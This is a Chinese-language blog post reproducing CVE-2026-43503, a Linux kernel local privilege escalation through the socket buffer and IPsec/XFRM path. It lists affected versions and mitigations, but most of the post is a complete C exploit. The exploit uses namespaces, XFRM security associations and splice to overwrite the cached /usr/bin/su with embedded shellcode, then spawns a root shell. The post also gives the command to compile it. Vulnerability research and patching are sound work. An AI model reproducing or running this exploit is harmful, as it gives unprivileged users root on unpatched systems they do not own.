当前位置:首页>Linux>【成功复现】Linux内核Socket Buffer本地提权漏洞(CVE-2026-43503)

【成功复现】Linux内核Socket Buffer本地提权漏洞(CVE-2026-43503)

  • 2026-10-11 05:53:25
【成功复现】Linux内核Socket Buffer本地提权漏洞(CVE-2026-43503)

网安引领时代,弥天点亮未来  

0x00写在前面

      本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍
linux是美国Linux基金会开源的一个操作系统内核。
Linux kernel存在安全漏洞,该漏洞源于碎片传输辅助函数未能传播SKBFL_SHARED_FRAG位,可能导致目标skb报告skb_has_shared_frag()为假。
0x02影响版本

Linux Kernel 3.9 至 5.10.256

Linux Kernel 5.11 至 5.15.207
Linux Kernel 5.16 至 6.1.173
Linux Kernel 6.2 至 6.6.140
Linux Kernel 6.7 至 6.12.90
Linux Kernel 6.13 至 6.18.32
Linux Kernel 6.19 至 7.0.9
Linux Kernel 7.1-rc1 至 7.1-rc4

     已知受影响发行版:Ubuntu、Debian、Fedora

    利用前提条件:

    1、系统启用非特权用户命名空间,允许普通用户创建 network namespace 并在该命名空间内获得 CAP_NET_ADMIN

    2、系统启用 IPsec/XFRM 网络栈相关功能(如 ESP4/ESP6 处理路径)

0x03漏洞复现
1.连接环境,普通用户权限

2.漏洞复现

上传漏洞利用exp,进行编译

sudo gcc -O0 -Wall -static -o CVE-2026-43503 CVE-2026-43503.c -lutil

执行编译后的文件,成功本地提权到root

漏洞利用c代码
#define _GNU_SOURCE#include<stdio.h>#include<stdlib.h>#include<string.h>#include<stdint.h>#include<unistd.h>#include<fcntl.h>#include<errno.h>#include<sched.h>#include<sys/syscall.h>#include<sys/types.h>#include<sys/socket.h>#include<sys/uio.h>#include<sys/ioctl.h>#include<sys/wait.h>#include<netinet/in.h>#include<arpa/inet.h>#include<net/if.h>#include<linux/if.h>#include<linux/netlink.h>#include<linux/rtnetlink.h>#include<linux/xfrm.h>#ifndef UDP_ENCAP#define UDP_ENCAP 100#endif#ifndef UDP_ENCAP_ESPINUDP#define UDP_ENCAP_ESPINUDP 2#endif#ifndef SOL_UDP#define SOL_UDP 17#endif#define ENC_PORT         4500#define SEQ_VAL          200#define REPLAY_SEQ       100#define TARGET_PATH      "/usr/bin/su"#define PATCH_OFFSET     0#define PAYLOAD_LEN      192#define ENTRY_OFFSET     0x78static const uint8_t shell_elf[PAYLOAD_LEN] = {    0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,    0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,    0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,    0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,    0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,    0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,    0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,    0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,};extern int g_su_verbose;int g_su_verbose = 0;#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)staticintwrite_proc(constchar *path, constchar *buf){    int fd = open(path, O_WRONLY);    if (fd < 0) return -1;    int n = write(fd, buf, strlen(buf));    close(fd);    return n;}staticvoidsetup_userns_netns(void){    uid_t real_uid = getuid();    gid_t real_gid = getgid();    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {        SLOG("unshare: %s", strerror(errno));        exit(1);    }    write_proc("/proc/self/setgroups", "deny");    char map[64];    snprintf(map, sizeof(map), "0 %u 1", real_uid);    if (write_proc("/proc/self/uid_map", map) < 0) {        SLOG("uid_map: %s", strerror(errno)); exit(1);    }    snprintf(map, sizeof(map), "0 %u 1", real_gid);    if (write_proc("/proc/self/gid_map", map) < 0) {        SLOG("gid_map: %s", strerror(errno)); exit(1);    }    int s = socket(AF_INET, SOCK_DGRAM, 0);    if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }    struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));    strncpy(ifr.ifr_name, "lo", IFNAMSIZ);    if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;    if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }    close(s);}staticvoidput_attr(struct nlmsghdr *nlh, int type, constvoid *data, size_t len){    struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));    rta->rta_type = type;    rta->rta_len  = RTA_LENGTH(len);    memcpy(RTA_DATA(rta), data, len);    nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);}staticintadd_xfrm_sa(uint32_t spi, uint32_t patch_seqhi){    int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);    if (sk < 0) return -1;    struct sockaddr_nl nl = { .nl_family = AF_NETLINK };    if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }    char buf[4096] = {0};    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;    nlh->nlmsg_type  = XFRM_MSG_NEWSA;    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;    nlh->nlmsg_pid   = getpid();    nlh->nlmsg_seq   = 1;    nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));    struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);    xs->id.daddr.a4 = inet_addr("127.0.0.1");    xs->id.spi      = htonl(spi);    xs->id.proto    = IPPROTO_ESP;    xs->saddr.a4    = inet_addr("127.0.0.1");    xs->family      = AF_INET;    xs->mode        = XFRM_MODE_TRANSPORT;    xs->replay_window = 0;    xs->reqid       = 0x1234;    xs->flags       = XFRM_STATE_ESN;    xs->lft.soft_byte_limit   = (uint64_t)-1;    xs->lft.hard_byte_limit   = (uint64_t)-1;    xs->lft.soft_packet_limit = (uint64_t)-1;    xs->lft.hard_packet_limit = (uint64_t)-1;    xs->sel.family  = AF_INET;    xs->sel.prefixlen_d = 32;    xs->sel.prefixlen_s = 32;    xs->sel.daddr.a4 = inet_addr("127.0.0.1");    xs->sel.saddr.a4 = inet_addr("127.0.0.1");    {        char alg_buf[sizeof(struct xfrm_algo_auth) + 32];        memset(alg_buf, 0, sizeof(alg_buf));        struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;        strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);        aa->alg_key_len   = 32 * 8;        aa->alg_trunc_len = 128;        memset(aa->alg_key, 0xAA, 32);        put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));    }    {        char alg_buf[sizeof(struct xfrm_algo) + 16];        memset(alg_buf, 0, sizeof(alg_buf));        struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;        strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);        ea->alg_key_len = 16 * 8;        memset(ea->alg_key, 0xBB, 16);        put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));    }    {        struct xfrm_encap_tmpl enc;        memset(&enc, 0, sizeof(enc));        enc.encap_type  = UDP_ENCAP_ESPINUDP;        enc.encap_sport = htons(ENC_PORT);        enc.encap_dport = htons(ENC_PORT);        enc.encap_oa.a4 = 0;        put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));    }    {        char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];        memset(esn_buf, 0, sizeof(esn_buf));        struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;        esn->bmp_len       = 1;        esn->oseq          = 0;        esn->seq           = REPLAY_SEQ;        esn->oseq_hi       = 0;        esn->seq_hi        = patch_seqhi;        esn->replay_window = 32;        put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));    }    if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }    char rbuf[4096];    int n = recv(sk, rbuf, sizeof(rbuf), 0);    if (n < 0) { close(sk); return -1; }    struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;    if (rh->nlmsg_type == NLMSG_ERROR) {        struct nlmsgerr *e = NLMSG_DATA(rh);        if (e->error) { close(sk); return -1; }    }    close(sk);    return 0;}staticintdo_one_write(constchar *path, off_t offset, uint32_t spi){    int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);    if (sk_recv < 0) return -1;    int one = 1;    setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));    struct sockaddr_in sa_d = {        .sin_family = AF_INET,        .sin_port   = htons(ENC_PORT),        .sin_addr   = { inet_addr("127.0.0.1") },    };    if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {        close(sk_recv); return -1;    }    int encap = UDP_ENCAP_ESPINUDP;    if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {        close(sk_recv); return -1;    }    int sk_send = socket(AF_INET, SOCK_DGRAM, 0);    if (sk_send < 0) { close(sk_recv); return -1; }    if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {        close(sk_send); close(sk_recv); return -1;    }    int file_fd = open(path, O_RDONLY);    if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }    int pfd[2];    if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }    uint8_t hdr[24];    *(uint32_t*)(hdr + 0) = htonl(spi);    *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);    memset(hdr + 8, 0xCC, 16);    struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };    if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {        close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;    }    off_t off = offset;    ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);    if (s != 16) {        close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;    }    s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);    usleep(150 * 1000);    close(file_fd); close(pfd[0]); close(pfd[1]);    close(sk_send); close(sk_recv);    return 0;}staticintverify_byte(constchar *path, off_t offset, uint8_t want){    int fd = open(path, O_RDONLY);    if (fd < 0) return -1;    uint8_t got;    if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }    close(fd);    return got == want ? 0 : -1;}staticintcorrupt_su(void){    setup_userns_netns();    usleep(100 * 1000);    for (int i = 0; i < PAYLOAD_LEN / 4; i++) {        uint32_t spi = 0xDEADBE10 + i;        uint32_t seqhi =            ((uint32_t)shell_elf[i*4 + 0] << 24) |            ((uint32_t)shell_elf[i*4 + 1] << 16) |            ((uint32_t)shell_elf[i*4 + 2] <<  8) |            ((uint32_t)shell_elf[i*4 + 3]);        if (add_xfrm_sa(spi, seqhi) < 0) {            SLOG("add_xfrm_sa #%d failed", i);            return -1;        }    }    SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);    for (int i = 0; i < PAYLOAD_LEN / 4; i++) {        uint32_t spi = 0xDEADBE10 + i;        off_t off = PATCH_OFFSET + i * 4;        if (do_one_write(TARGET_PATH, off, spi) < 0) {            SLOG("do_one_write #%d failed", i);            return -1;        }    }    SLOG("wrote %d bytes to %s", PAYLOAD_LEN, TARGET_PATH);    return 0;}intsu_lpe_main(int argc, char **argv){    for (int i = 1; i < argc; i++) {        if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))            g_su_verbose = 1;    }    if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;    pid_t cpid = fork();    if (cpid < 0) return 1;    if (cpid == 0) {        int rc = corrupt_su();        _exit(rc == 0 ? 0 : 2);    }    int cstatus;    waitpid(cpid, &cstatus, 0);    if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {        SLOG("corruption stage failed");        return 1;    }    if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||        verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {        SLOG("verify failed");        return 1;    }    printf("[+] /usr/bin/su page-cache patched successfully!\n");    return 0;}intmain(int argc, char **argv){    printf("=== DirtyClone (CVE-2026-43503) PoC by Ashraf Zaryouh \"0xBlackash\" ===\n");    printf("[*] uid=%d euid=%d\n", getuid(), geteuid());    if (getuid() == 0) {        execlp("/bin/sh", "sh", NULL);        return 1;    }    int rc = su_lpe_main(argc, argv);    if (rc == 0) {        printf("[+] Success! Spawning root shell...\n");        execl("/usr/bin/su", "su", "-c", "/bin/sh", NULL);    }    printf("[-] Exploit failed\n");    return 1;}
0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

临时缓解方案

1.禁用非特权用户命名空间

sudo sysctl -w kernel.unprivileged_userns_clone=0echo 'kernel.unprivileged_userns_clone=0' | sudo tee /etc/sysctl.d/99-dirtyclone.conf
2.黑名单 vulnerable 内核模块
# 创建模块黑名单sudo cat > /etc/modprobe.d/dirtyclone.conf <<EOFinstall rxrpc /bin/falseinstall esp4 /bin/falseinstall esp6 /bin/falseEOF# 卸载已加载的模块sudo rmmod rxrpc esp4 esp6 2>/dev/null || true
注意: 禁用 esp4/esp6 会破坏 IPsec VPN 功能,仅在服务器不使用 IPsec 时适用。rxrpc 模块仅在 AFS 部署中使用。

建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!   

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=899ee91156e57784090c5565e4f31bd7dbffbc5ahttps://github.com/0xBlackash/CVE-2026-43503

弥天简介

学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,
予以风动,
必降弥天之润!

   弥  天

安全实验室

最新文章

随机文章